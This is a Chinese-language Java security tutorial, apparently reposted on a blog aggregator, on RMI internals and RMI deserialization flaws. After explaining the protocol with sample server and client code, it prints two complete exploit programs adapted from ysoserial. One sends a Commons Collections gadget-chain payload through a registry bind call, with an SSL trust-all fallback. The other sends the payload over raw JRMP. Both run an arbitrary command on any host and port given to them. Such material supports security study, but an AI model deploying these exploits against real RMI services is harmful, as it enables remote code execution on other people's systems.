java安全(三)RMI

給個關注?寶兒!
給個關注?寶兒!
給個關注?寶兒!

在這里插入圖片描述

1.RMI 是什么

RMI(Remote Method Invocation)即Java遠程方法調用,RMI用于構建分布式應用程序,RMI實現了Java程序之間跨JVM的遠程通信。
在這里插入圖片描述RMI底層通訊采用了Stub(運行在客戶端)和Skeleton(運行在服務端)機制,RMI調用遠程方法的大致如下:

1.RMI客戶端在調用遠程方法時會先創建2.Stub(sun.rmi.registry.RegistryImpl_Stub)。
Stub會將Remote對象傳遞給遠程引用層(java.rmi.server.RemoteRef)并創建java.rmi.server.RemoteCall(遠程調用)對象。
3.RemoteCall序列化RMI服務名稱、Remote對象。
4.RMI客戶端的遠程引用層傳輸RemoteCall序列化后的請求信息通過Socket連接的方式傳輸到RMI服務端的遠程引用層。
5.RMI服務端的遠程引用層(sun.rmi.server.UnicastServerRef)收到請求會請求傳遞給6.Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。
7.Skeleton調用RemoteCall反序列化RMI客戶端傳過來的序列化。
Skeleton處理客戶端請求:bind、list、lookup、rebind、unbind,如果是lookup則查找RMI服務名綁定的接口對象,序列化該對象并通過RemoteCall傳輸到客戶端。
8.RMI客戶端反序列化服務端結果,獲取遠程對象的引用。
9.RMI客戶端調用遠程方法,RMI服務端反射調用RMI服務實現類的對應方法并序列化執行結果返回給客戶端。
10.RMI客戶端反序列化RMI遠程方法調用結果。
Back

2.RMI遠程方法調用測試

第一步我們需要先啟動RMI服務端,并注冊服務。

RMI服務端注冊服務代碼:

package com.anbai.sec.rmi;import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;public class RMIServerTest {// RMI服務器IP地址public static final String RMI_HOST = "127.0.0.1";// RMI服務端口public static final int RMI_PORT = 9527;// RMI服務名稱public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";public static void main(String[] args) {try {// 注冊RMI端口LocateRegistry.createRegistry(RMI_PORT);// 綁定Remote對象Naming.bind(RMI_NAME, new RMITestImpl());System.out.println("RMI服務啟動成功,服務地址:" + RMI_NAME);} catch (Exception e) {e.printStackTrace();}}}

程序運行結果:

copyRMI服務啟動成功,服務地址:rmi://127.0.0.1:9527/test

Naming.bind(RMI_NAME, new RMITestImpl())綁定的是服務端的一個類實例,RMI客戶端需要有這個實例的接口代碼(RMITestInterface.java),RMI客戶端調用服務器端的RMI服務時會返回這個服務所綁定的對象引用,RMI客戶端可以通過該引用對象調用遠程的服務實現類的方法并獲取方法執行結果。

RMITestInterface示例代碼:

package com.anbai.sec.rmi;import java.rmi.Remote;
import java.rmi.RemoteException;/*** RMI測試接口*/
public interface RMITestInterface extends Remote {/*** RMI測試方法** @return 返回測試字符串*/String test() throws RemoteException;}

這個區別于普通的接口調用,這個接口在RMI客戶端中沒有實現代碼,接口的實現代碼在RMI服務端。

服務端RMITestInterface實現代碼示例代碼:

package com.anbai.sec.rmi;import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface {private static final long serialVersionUID = 1L;protected RMITestImpl() throws RemoteException {super();}/*** RMI測試方法** @return 返回測試字符串*/@Overridepublic String test() throws RemoteException {return "Hello RMI~";}}

RMI客戶端示例代碼:

package com.anbai.sec.rmi;import java.rmi.Naming;import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;public class RMIClientTest {public static void main(String[] args) {try {// 查找遠程RMI服務RMITestInterface rt = (RMITestInterface) Naming.lookup(RMI_NAME);// 調用遠程接口RMITestInterface類的test方法String result = rt.test();// 輸出RMI方法調用結果System.out.println(result);} catch (Exception e) {e.printStackTrace();}}
}

程序運行結果:

copyHello RMI~

3. RMI反序列化漏洞

RMI通信中所有的對象都是通過Java序列化傳輸的,在學習Java序列化機制的時候我們講到只要有Java對象反序列化操作就有可能有漏洞。

既然RMI使用了反序列化機制來傳輸Remote對象,那么可以通過構建一個惡意的Remote對象,這個對象經過序列化后傳輸到服務器端,服務器端在反序列化時候就會觸發反序列化漏洞。

首先我們依舊使用上述com.anbai.sec.rmi.RMIServerTest的代碼,創建一個RMI服務,然后我們來構建一個惡意的Remote對象并通過bind請求發送給服務端。

RMI客戶端反序列化攻擊示例代碼:

package com.anbai.sec.rmi;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.HashMap;
import java.util.Map;import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;/*** RMI反序列化漏洞利用,修改自ysoserial的RMIRegistryExploit:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java** @author yz*/
public class RMIExploit {// 定義AnnotationInvocationHandler類常量public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";/*** 信任SSL證書*/private static class TrustAllSSL implements X509TrustManager {private static final X509Certificate[] ANY_CA = {};public X509Certificate[] getAcceptedIssuers() {return ANY_CA;}public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }}/*** 創建支持SSL的RMI客戶端*/private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {public Socket createSocket(String host, int port) throws IOException {try {// 獲取SSLContext對象SSLContext ctx = SSLContext.getInstance("TLS");// 默認信任服務器端SSLctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);// 獲取SSL Socket連接工廠SSLSocketFactory factory = ctx.getSocketFactory();// 創建SSL連接return factory.createSocket(host, port);} catch (Exception e) {throw new IOException(e);}}}/*** 使用動態代理生成基于InvokerTransformer/LazyMap的Payload** @param command 定義需要執行的CMD* @return Payload* @throws Exception 生成Payload異常*/private static InvocationHandler genPayload(String command) throws Exception {// 創建Runtime.getRuntime.exec(cmd)調用鏈Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})};// 創建ChainedTransformer調用鏈對象Transformer transformerChain = new ChainedTransformer(transformers);// 使用LazyMap創建一個含有惡意調用鏈的Transformer類的Map對象final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);// 獲取AnnotationInvocationHandler類對象Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);// 獲取AnnotationInvocationHandler類的構造方法Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);// 設置構造方法的訪問權限constructor.setAccessible(true);// 實例化AnnotationInvocationHandler,// 等價于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap);InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);// 使用動態代理創建出Map類型的Payloadfinal Map mapProxy2 = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler);// 實例化AnnotationInvocationHandler,// 等價于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2);return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);}/*** 執行Payload** @param registry RMI Registry* @param command  需要執行的命令* @throws Exception Payload執行異常*/public static void exploit(final Registry registry, final String command) throws Exception {// 生成Payload動態代理對象Object payload = genPayload(command);String name    = "test" + System.nanoTime();// 創建一個含有Payload的惡意mapMap<String, Object> map = new HashMap();map.put(name, payload);// 獲取AnnotationInvocationHandler類對象Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);// 獲取AnnotationInvocationHandler類的構造方法Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);// 設置構造方法的訪問權限constructor.setAccessible(true);// 實例化AnnotationInvocationHandler,// 等價于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map);InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);// 使用動態代理創建出Remote類型的PayloadRemote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler);try {// 發送Payloadregistry.bind(name, remote);} catch (Throwable e) {e.printStackTrace();}}public static void main(String[] args) throws Exception {if (args.length == 0) {// 如果不指定連接參數默認連接本地RMI服務args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};}// 遠程RMI服務IPfinal String host = args[0];// 遠程RMI服務端口final int port = Integer.parseInt(args[1]);// 需要執行的系統命令final String command = args[2];// 獲取遠程Registry對象的引用Registry registry = LocateRegistry.getRegistry(host, port);try {// 獲取RMI服務注冊列表(主要是為了測試RMI連接是否正常)String[] regs = registry.list();for (String reg : regs) {System.out.println("RMI:" + reg);}} catch (ConnectIOException ex) {// 如果連接異常嘗試使用SSL建立SSL連接,忽略證書信任錯誤,默認信任SSL證書registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());}// 執行payloadexploit(registry, command);}}

程序執行后將會在RMI服務端彈出計算器(僅Mac系統,Windows自行修改命令為calc),RMIExploit程序執行的流程大致如下:

使用LocateRegistry.getRegistry(host, port)創建一個RemoteStub對象。
構建一個適用于Apache Commons Collections的惡意反序列化對象(使用的是LazyMap+AnnotationInvocationHandler組合方式)。
使用RemoteStub調用RMI服務端的bind指令,并傳入一個使用動態代理創建出來的Remote類型的惡意AnnotationInvocationHandler對象到RMI服務端。
RMI服務端接受到bind請求后會反序列化我們構建的惡意Remote對象從而觸發Apache Commons Collections漏洞的RCE。

RMI客戶端端bind序列化:
在這里插入圖片描述
上圖可以看到我們構建的惡意Remote對象會通過RemoteCall序列化然后通過RemoteRef發送到遠程的RMI服務端。

RMI服務端bind反序列化:
在這里插入圖片描述
具體的實現代碼在:sun.rmi.registry.RegistryImpl_Skel類的dispatch方法,其中的$param_Remote_2就是我們RMIExploit傳入的惡意Remote的序列化對象。

4.RMI-JRMP反序列化漏洞

JRMP接口的兩種常見實現方式:

1.JRMP協議(Java Remote Message Protocol),RMI專用的Java遠程消息交換協議。
2.IIOP協議(Internet Inter-ORB Protocol) ,基于 CORBA 實現的對象請求代理協議。

由于RMI數據通信大量的使用了Java的對象反序列化,所以在使用RMI客戶端去攻擊RMI服務端時需要特別小心,如果本地RMI客戶端剛好符合反序列化攻擊的利用條件,那么RMI服務端返回一個惡意的反序列化攻擊包可能會導致我們被反向攻擊。

我們可以通過和RMI服務端建立Socket連接并使用RMI的JRMP協議發送惡意的序列化包,RMI服務端在處理JRMP消息時會反序列化消息對象,從而實現RCE。

JRMP客戶端反序列化攻擊示例代碼:

package com.anbai.sec.rmi;import sun.rmi.server.MarshalOutputStream;
import sun.rmi.transport.TransportConstants;import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.Socket;import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;/*** 利用RMI的JRMP協議發送惡意的序列化包攻擊示例,該示例采用Socket協議發送序列化數據,不會反序列化RMI服務器端的數據,* 所以不用擔心本地被RMI服務端通過構建惡意數據包攻擊,示例程序修改自ysoserial的JRMPClient:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java*/
public class JRMPExploit {public static void main(String[] args) throws IOException {if (args.length == 0) {// 如果不指定連接參數默認連接本地RMI服務args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};}// 遠程RMI服務IPfinal String host = args[0];// 遠程RMI服務端口final int port = Integer.parseInt(args[1]);// 需要執行的系統命令final String command = args[2];// Socket連接對象Socket socket = null;// Socket輸出流OutputStream out = null;try {// 創建惡意的Payload對象Object payloadObject = RMIExploit.genPayload(command);// 建立和遠程RMI服務的Socket連接socket = new Socket(host, port);socket.setKeepAlive(true);socket.setTcpNoDelay(true);// 獲取Socket的輸出流對象out = socket.getOutputStream();// 將Socket的輸出流轉換成DataOutputStream對象DataOutputStream dos = new DataOutputStream(out);// 創建MarshalOutputStream對象ObjectOutputStream baos = new MarshalOutputStream(dos);// 向遠程RMI服務端Socket寫入RMI協議并通過JRMP傳輸Payload序列化對象dos.writeInt(TransportConstants.Magic);// 魔數dos.writeShort(TransportConstants.Version);// 版本dos.writeByte(TransportConstants.SingleOpProtocol);// 協議類型dos.write(TransportConstants.Call);// RMI調用指令baos.writeLong(2); // DGCbaos.writeInt(0);baos.writeLong(0);baos.writeShort(0);baos.writeInt(1); // dirtybaos.writeLong(-669196253586618813L);// 接口Hash值// 寫入惡意的序列化對象baos.writeObject(payloadObject);dos.flush();} catch (Exception e) {e.printStackTrace();} finally {// 關閉Socket輸出流if (out != null) {out.close();}// 關閉Socket連接if (socket != null) {socket.close();}}}}

測試流程同上面的RMIExploit,這里不再贅述。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/532548.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/532548.shtml
英文地址,請注明出處:http://en.pswp.cn/news/532548.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

LeetCode-726 原子的數量 遞歸

LeetCode-726 原子的數量 遞歸 題目鏈接&#xff1a;LeetCode-726 原子的數量 給你一個字符串化學式 formula &#xff0c;返回 每種原子的數量 。 原子總是以一個大寫字母開始&#xff0c;接著跟隨 0 個或任意個小寫字母&#xff0c;表示原子的名字。 如果數量大于 1&#xf…

java安全(四) JNDI

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1.JNDI JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目錄接口。通過調用JNDI的API應用程序可以定位資源和其他程序對象。JNDI是Java…

二叉樹的層序遍歷和前中后序遍歷代碼 迭代/遞歸

前中后序遍歷&#xff08;DFS&#xff09; 首先我們要明確前中后序遍歷的順序&#xff1a; 前序&#xff1a;中左右中序&#xff1a;左中右后序&#xff1a;左右中 前中后序遍歷的遞歸代碼和迭代代碼分別有各自的框架&#xff0c;然后根據遍歷順序調整記錄元素的位置即可。 …

java安全(五)java反序列化

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1. 序列化 在調用RMI時,發現接收發送數據都是反序列化數據. 例如JSON和XML等語言,在網絡上傳遞信息,都會用到一些格式化數據,大多數處理方法中&#xff0c…

git merge和rebase的區別與選擇

git merge和rebase的區別與選擇 轉自&#xff1a;https://github.com/geeeeeeeeek/git-recipes/wiki/5.1-%E4%BB%A3%E7%A0%81%E5%90%88%E5%B9%B6%EF%BC%9AMerge%E3%80%81Rebase-%E7%9A%84%E9%80%89%E6%8B%A9#merge BY 童仲毅&#xff08;geeeeeeeeekgithub&#xff09; 這是一篇…

java安全(六)java反序列化2,ysoserial調試

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; ysoserial 下載地址&#xff1a;https://github.com/angelwhu/ysoserial ysoserial可以讓?戶根據??選擇的利?鏈&#xff0c;?成反序列化利?數據&…

C++面試常見問題一

C面試常見問題一 轉自&#xff1a;https://oldpan.me/archives/c-interview-answer-1 原作者&#xff1a;[oldpan][https://oldpan.me/] 前言 這里收集市面上所有的關于算法和開發崗最容易遇到的關于C方面的問題&#xff0c;問題信息來自互聯網以及牛客網的C面試題目匯總。答題…

java安全(七) 反序列化3 CC利用鏈 TransformedMap版

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 目錄圖解代碼demo涉及的接口與類&#xff1a;TransformedMapTransformerConstantTransformerInvokerTransformerChainedTransformerdome理解總結&#xff1a…

C++編譯時多態和運行時多態

C編譯時多態和運行時多態 作者&#xff1a;melonstreet 出處&#xff1a;https://www.cnblogs.com/QG-whz/p/5132745.html 本文版權歸作者和博客園共有&#xff0c;歡迎轉載&#xff0c;但未經作者同意必須保留此段聲明&#xff0c;且在文章頁面明顯位置給出原文連接&#xff0…

java安全(八)TransformedMap構造POC

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 上一篇構造了一個了commons-collections的demo 【傳送門】 package test.org.vulhub.Ser;import org.apache.commons.collections.Transformer; import org…

Pytorch Tutorial 使用torch.autograd進行自動微分

Pytorch Tutorial 使用torch.autograd進行自動微分 本文翻譯自 PyTorch 官網教程。 原文&#xff1a;https://pytorch.org/tutorials/beginner/basics/autogradqs_tutorial.html#optional-reading-tensor-gradients-and-jacobian-products 在訓練神經網絡時&#xff0c;最常使用…

TVM:編譯深度學習模型快速上手教程

TVM&#xff1a;編譯深度學習模型快速上手教程 本文將展示如何使用 Relay python 前端構建一個神經網絡&#xff0c;并使用 TVM 為 Nvidia GPU 生成一個運行時庫。 注意我們需要再構建 TVM 時啟用了 cuda 和 llvm。 TVM支持的硬件后端總覽 在本教程中&#xff0c;我們使用 cu…

TVM:設計與架構

TVM&#xff1a;設計與架構 本文檔適用于想要了解 TVM 架構和/或積極開發項目的開發人員。頁面組織如下&#xff1a; 示例編譯流程概述了 TVM 將模型的高層描述轉換為可部署模塊所采取的步驟。要開始使用&#xff0c;請先閱讀本節。 邏輯架構組件部分描述了邏輯組件。后面的部…

遞歸+回溯

遞歸-回溯 本文參考自代碼隨想錄視頻&#xff1a; https://www.bilibili.com/video/BV1cy4y167mM https://www.bilibili.com/video/BV1ti4y1L7cv 遞歸回溯理論基礎 只要有遞歸&#xff0c;就會有回溯&#xff0c;遞歸函數的下面的部分通常就是回溯的邏輯。 回溯是純暴力的搜索…

Nvidia CUDA初級教程1 CPU體系架構綜述

Nvidia CUDA初級教程1 CPU體系架構綜述 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p2 講師&#xff1a;周斌 本節內容&#xff1a;了解現代CPU的架構和性能優化&#xff1a; 流水線 Pipelining分支預測 Branch Prediction超標量 Superscalar亂序執行 Out…

Nvidia CUDA初級教程2 并行程序設計概述

Nvidia CUDA初級教程2 并行程序設計概述 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p3 講師&#xff1a;周斌 本節內容&#xff1a; 為什么需要&#xff1f;怎么做&#xff1f;一些技術和概念 串并行計算模式 串行計算模式 常規軟件時串行的 設計運行…

Nvidia CUDA初級教程4 GPU體系架構概述

Nvidia CUDA初級教程4 GPU體系架構概述 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p5 講師&#xff1a;周斌 本節內容&#xff1a; 為什么需要GPU三種方法提升GPU的處理速度實際GPU的設計舉例&#xff1a; NVDIA GTX 480: FermiNVDIA GTX 680: Kepler GP…

Nvidia CUDA初級教程5 CUDA/GPU編程模型

Nvidia CUDA初級教程5 CUDA/GPU編程模型 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p6 講師&#xff1a;周斌 本節內容&#xff1a; CPU和GPU互動模式GPU線程組織模型&#xff08;需要不停強化&#xff09;GPU存儲模型基本的編程問題 CPU與GPU交互 各自…

Nvidia CUDA初級教程6 CUDA編程一

Nvidia CUDA初級教程6 CUDA編程一 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p7 講師&#xff1a;周斌 GPU架構概覽 GPU特別使用于&#xff1a; 密集計算&#xff0c;高度可并行計算圖形學 晶體管主要被用于&#xff1a; 執行計算而不是 緩存數據控制指令…

由前中后遍歷序列構建二叉樹

由前/中/后遍歷序列構建二叉樹 基礎 首先&#xff0c;我們需要知道前中后序三種深度優先遍歷二叉樹的方式的具體順序&#xff1a; 前序&#xff1a;中左右中序&#xff1a;左中右后序&#xff1a;左右中 另外&#xff0c;要知道只有中序前/后序可以唯一確定一棵二叉樹&…